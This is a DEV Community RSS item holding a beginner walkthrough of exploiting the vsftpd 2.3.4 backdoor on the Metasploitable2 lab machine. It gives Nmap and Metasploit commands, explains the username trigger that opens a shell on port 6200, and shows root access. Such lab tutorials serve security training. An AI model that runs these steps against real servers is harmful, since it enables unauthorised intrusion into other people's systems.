<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Alex Agyei</title>
    <description>The latest articles on DEV Community by Alex Agyei (@lexisbil1).</description>
    <link>https://dev.to/lexisbil1</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3909604%2F8e7bcc05-938b-43a0-bf9e-951a3d79822d.jpeg</url>
      <title>DEV Community: Alex Agyei</title>
      <link>https://dev.to/lexisbil1</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/lexisbil1"/>
    <language>en</language>
    <item>
      <title>Exploiting vsftpd 2.3.4 on Metasploitable2 (Step-by-Step Guide for Beginners)</title>
      <dc:creator>Alex Agyei</dc:creator>
      <pubDate>Tue, 05 May 2026 23:48:00 +0000</pubDate>
      <link>https://dev.to/lexisbil1/exploiting-vsftpd-234-on-metasploitable2-step-by-step-guide-for-beginners-4pem</link>
      <guid>https://dev.to/lexisbil1/exploiting-vsftpd-234-on-metasploitable2-step-by-step-guide-for-beginners-4pem</guid>
      <description>&lt;p&gt;One of the biggest turning points in learning cybersecurity is understanding how attackers move from:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Discovery → Exploitation → Access&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In a training session I led, students went from running a simple scan to gaining &lt;strong&gt;root access&lt;/strong&gt; on a vulnerable machine. The excitement was great — but the real value was understanding &lt;em&gt;how and why it worked&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;In this guide, you'll replicate that exact process step by step.&lt;/p&gt;




&lt;h2&gt;
  
  
  What You’ll Learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;How to scan a target using Nmap&lt;/li&gt;
&lt;li&gt;How to identify vulnerable services&lt;/li&gt;
&lt;li&gt;How the vsftpd 2.3.4 backdoor works&lt;/li&gt;
&lt;li&gt;How to exploit it using Metasploit&lt;/li&gt;
&lt;li&gt;How to gain root access&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;p&gt;Make sure your lab is ready:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kali Linux (attacker)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy2tqhb7c0dfymxiq0ou4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy2tqhb7c0dfymxiq0ou4.png" alt="Kali" width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Metasploitable2 (target)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzrn8m95clodl77el1pfq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzrn8m95clodl77el1pfq.png" alt="Metaspoitable" width="749" height="443"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Both machines on the same network (NAT or Host-only)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 1: Get the Target IP
&lt;/h3&gt;

&lt;p&gt;On Metasploitable2:&lt;/p&gt;

&lt;p&gt;ifconfig&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa2d1zh4qnzut2k5v319n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa2d1zh4qnzut2k5v319n.png" alt="Ipadrr" width="722" height="248"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Look for something like:&lt;/p&gt;

&lt;p&gt;192.168.56.101&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Scan with Nmap
&lt;/h3&gt;

&lt;p&gt;On Kali:&lt;/p&gt;

&lt;p&gt;nmap -sV target_ip&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmg4eyvx7l55ydygl7vm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmg4eyvx7l55ydygl7vm.png" alt="nmapp" width="663" height="301"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Why -sV matters&lt;/p&gt;

&lt;p&gt;Detects service versions&lt;br&gt;
Helps you find known vulnerabilities&lt;/p&gt;

&lt;p&gt;Key Result&lt;br&gt;
21/tcp open  ftp  vsftpd 2.3.4&lt;/p&gt;

&lt;p&gt;👉 This is your entry point.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Understand the Vulnerability
&lt;/h3&gt;

&lt;p&gt;vsftpd 2.3.4 contains a backdoor.&lt;/p&gt;

&lt;p&gt;Trigger condition:&lt;br&gt;
Login using a username ending with:&lt;br&gt;
:)&lt;br&gt;
What happens:&lt;br&gt;
A shell opens on port 6200&lt;/p&gt;

&lt;p&gt;This is intentionally vulnerable — perfect for learning exploitation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Start Metasploit on kali
&lt;/h3&gt;

&lt;p&gt;msfconsole&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1lv9r0kbtqvntffvixd5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1lv9r0kbtqvntffvixd5.png" alt="msfc" width="672" height="487"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5: Find the Exploit
&lt;/h3&gt;

&lt;p&gt;search vsftpd&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyyrai5rku1me5cqzxsuz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyyrai5rku1me5cqzxsuz.png" alt="search" width="680" height="342"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Expected result:&lt;br&gt;
exploit/unix/ftp/vsftpd_234_backdoor&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 6: Load the Exploit
&lt;/h3&gt;

&lt;p&gt;use exploit/unix/ftp/vsftpd_234_backdoor&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdd7d8jfc2cs9syfsdi0z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdd7d8jfc2cs9syfsdi0z.png" alt="used" width="662" height="118"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 7: Set Target IP
&lt;/h3&gt;

&lt;p&gt;set RHOST target_ip&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs9h25vwmsnspx9pm6s0o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs9h25vwmsnspx9pm6s0o.png" alt="rhost" width="676" height="77"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 8: Run the Exploit
&lt;/h3&gt;

&lt;p&gt;run&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fya33bve04m1xvcqax8nm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fya33bve04m1xvcqax8nm.png" alt="runn" width="658" height="183"&gt;&lt;/a&gt;&lt;br&gt;
If successful:&lt;/p&gt;

&lt;p&gt;Command shell session 1 opened&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 9: Confirm Access
&lt;/h3&gt;

&lt;p&gt;whoami&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3pk84ap7amty1aodva0l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3pk84ap7amty1aodva0l.png" alt="outt" width="681" height="176"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Output:&lt;/p&gt;

&lt;p&gt;root&lt;/p&gt;

&lt;p&gt;🎉 You now have root access.&lt;/p&gt;

&lt;p&gt;Key Concepts (Simple Breakdown)&lt;/p&gt;

&lt;p&gt;Reconnaissance&lt;br&gt;
Finding open ports and services&lt;br&gt;
Example tool: Nmap&lt;/p&gt;

&lt;p&gt;Enumeration&lt;br&gt;
Identifying versions and weaknesses&lt;br&gt;
This is where real attack paths appear&lt;/p&gt;

&lt;p&gt;Exploitation&lt;br&gt;
Using a vulnerability to gain access&lt;br&gt;
In this case: a built-in backdoor&lt;/p&gt;

&lt;p&gt;Metasploit&lt;br&gt;
A framework that automates exploitation&lt;br&gt;
Saves time and standardizes attacks&lt;/p&gt;

&lt;p&gt;Common Beginner Mistakes&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Skipping Version Detection&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Wrong:&lt;/p&gt;

&lt;p&gt;nmap target_ip&lt;/p&gt;

&lt;p&gt;Correct:&lt;/p&gt;

&lt;p&gt;nmap -sV target_ip&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Using the Wrong IP
Mixing attacker and target IP
Using 127.0.0.1 incorrectly&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;✔ Always verify:&lt;/p&gt;

&lt;p&gt;ifconfig&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Network Misconfiguration&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If nothing works:&lt;/p&gt;

&lt;p&gt;Check both VMs are on the same network&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Forgetting RHOST&lt;br&gt;
set RHOST target_ip&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Blindly Running Exploits&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Don’t just run tools — ask:&lt;/p&gt;

&lt;p&gt;Why does this vulnerability exist?&lt;br&gt;
What triggered it?&lt;br&gt;
How would this look in a real system?&lt;br&gt;
Pro Tips&lt;br&gt;
Run deeper scans&lt;br&gt;
nmap -A target_ip&lt;br&gt;
Think like a professional&lt;/p&gt;

&lt;p&gt;Use a workflow:&lt;/p&gt;

&lt;p&gt;Scan&lt;br&gt;
Identify&lt;br&gt;
Research&lt;br&gt;
Exploit&lt;br&gt;
Validate&lt;br&gt;
Conclusion&lt;/p&gt;

&lt;p&gt;This lab shows a complete beginner-friendly attack chain:&lt;/p&gt;

&lt;p&gt;Discover a service&lt;br&gt;
Identify its version&lt;br&gt;
Find a vulnerability&lt;br&gt;
Exploit it&lt;br&gt;
Gain access&lt;/p&gt;

&lt;p&gt;Even though this is a deliberately vulnerable system, the process is exactly how real penetration testing works.&lt;/p&gt;

&lt;p&gt;The goal is not just to hack — but to understand.&lt;/p&gt;

&lt;p&gt;Next Steps&lt;br&gt;
Repeat this lab without guidance&lt;br&gt;
Document it on GitHub (build your portfolio)&lt;br&gt;
Try another vulnerable service on Metasploitable2&lt;br&gt;
Final Note&lt;/p&gt;

&lt;p&gt;If you're learning cybersecurity:&lt;/p&gt;

&lt;p&gt;Stay consistent.&lt;br&gt;
Stay curious.&lt;br&gt;
Keep building.&lt;/p&gt;

&lt;p&gt;Follow for more hands-on cybersecurity labs and real-world breakdowns.&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>tutorial</category>
      <category>cybersecurity</category>
      <category>linux</category>
    </item>
  </channel>
</rss>
